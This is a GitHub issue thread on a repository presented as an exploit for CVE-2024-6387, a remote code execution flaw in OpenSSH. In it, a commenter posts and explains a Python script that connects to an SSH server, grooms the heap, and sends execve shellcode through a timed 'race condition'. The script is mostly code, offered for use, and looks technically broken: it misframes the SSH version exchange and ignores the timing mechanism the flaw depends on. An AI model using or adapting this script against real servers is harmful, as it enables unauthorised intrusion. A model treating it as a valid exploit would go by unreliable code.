Symbolexe / CVE-2024-6387

SSH Exploit for CVE-2024-6387 : RCE in OpenSSH's server, on glibc-based Linux systems
MIT License
2 stars 2 forks source link

Like this? #2

Open webmaster-exit-1 opened 1 month ago

webmaster-exit-1 commented 1 month ago
import socket
import time
import struct

# Setup Connection
def setup_connection(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    return sock

# Send and Receive Packets
def send_packet(sock, packet_type, data):
    packet = struct.pack(">I", len(data) + 1) + bytes([packet_type]) + data
    sock.sendall(packet)
    return receive_packet(sock)

def receive_packet(sock):
    size = int.from_bytes(sock.recv(4), byteorder='big')
    packet_type = int.from_bytes(sock.recv(1), byteorder='big')
    data = sock.recv(size - 1)
    return packet_type, data

# SSH Version Exchange
def send_ssh_version(sock):
    version = b"SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7\r\n"
    send_packet(sock, 0, version)

def receive_ssh_version(sock):
    _, version = receive_packet(sock)
    return version.decode().strip()

# Key Exchange Init (KEX_INIT)
def send_kex_init(sock):
    kex_init = b"\x00" * 16
    send_packet(sock, 20, kex_init)

def receive_kex_init(sock):
    _, kex_init = receive_packet(sock)
    return kex_init

# Perform SSH Handshake
def perform_ssh_handshake(sock):
    send_ssh_version(sock)
    receive_ssh_version(sock)
    send_kex_init(sock)
    receive_kex_init(sock)

# Heap Preparation
def prepare_heap(sock):
    for _ in range(100):
        send_packet(sock, 0, b"\x00" * 1024)

# Fake File Structure
def create_fake_file_structure(data, glibc_base):
    # Construct the fake file structure
    fake_file = b"A" * 0x80
    fake_file += struct.pack("<Q", glibc_base + 0x3c5740)  # _IO_list_all
    fake_file += b"\x00" * 0x38
    fake_file += data
    return fake_file

# Measure Parsing Time
def time_final_packet(sock):
    start_time = time.time()
    send_packet(sock, 0, b"\x00" * 1024)
    _, _ = receive_packet(sock)
    return time.time() - start_time

# Public Key Packet
def create_public_key_packet(packet, size, glibc_base):
    # Construct the public key packet
    public_key = b"\x00" * 4
    public_key += struct.pack("<I", size)
    public_key += packet
    return public_key

# Race Condition Exploit
def attempt_race_condition(sock, parsing_time, glibc_base):
    # Construct the exploit payload
    payload = b"\x90" * 0x100 + b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    fake_file = create_fake_file_structure(payload, glibc_base)
    public_key = create_public_key_packet(fake_file, len(fake_file), glibc_base)

    # Send the final exploit packet
    send_packet(sock, 13, public_key)

    # Wait for the server to parse the packet
    time.sleep(parsing_time)

    # Send the final packet again to trigger the race condition
    send_packet(sock, 13, public_key)

# Main Function
def main():
    ip = "192.168.1.100"
    port = 22

    with setup_connection(ip, port) as sock:
        perform_ssh_handshake(sock)
        prepare_heap(sock)

        # Try different glibc base addresses
        for glibc_base in [0x7ffff7a0d000, 0x7ffff7a0e000, 0x7ffff7a0f000]:
            parsing_time = time_final_packet(sock)
            attempt_race_condition(sock, parsing_time, glibc_base)

if __name__ == "__main__":
    main()
webmaster-exit-1 commented 1 month ago

This code implements the following steps:

Connection Setup: The setup_connection function establishes a TCP connection to the target SSH server.

Handshake and Heap Preparation: The perform_ssh_handshake and prepare_heap functions handle the SSH handshake and heap preparation, respectively.

Timing Measurement: The time_final_packet function measures the time taken by the server to parse a specific packet, which is used to time the final exploit attempt.

Final Exploit Attempt: The attempt_race_condition function constructs the final exploit packet, which includes the shellcode, and sends it to the server. It attempts to time the packet send to trigger the race condition vulnerability.

The main function coordinates the overall exploitation process, including multiple attempts with different glibc base addresses.

Note that this is a simplified example, and in a real-world scenario, the exploit would need to be more robust and handle various edge cases and error conditions. Additionally, the specific details of the vulnerability, such as the memory corruption and the shellcode, would need to be tailored to the target system and the vulnerability being exploited.

webmaster-exit-1 commented 1 month ago

Not sure why you hid the code so i tried filling it out. lol, cheers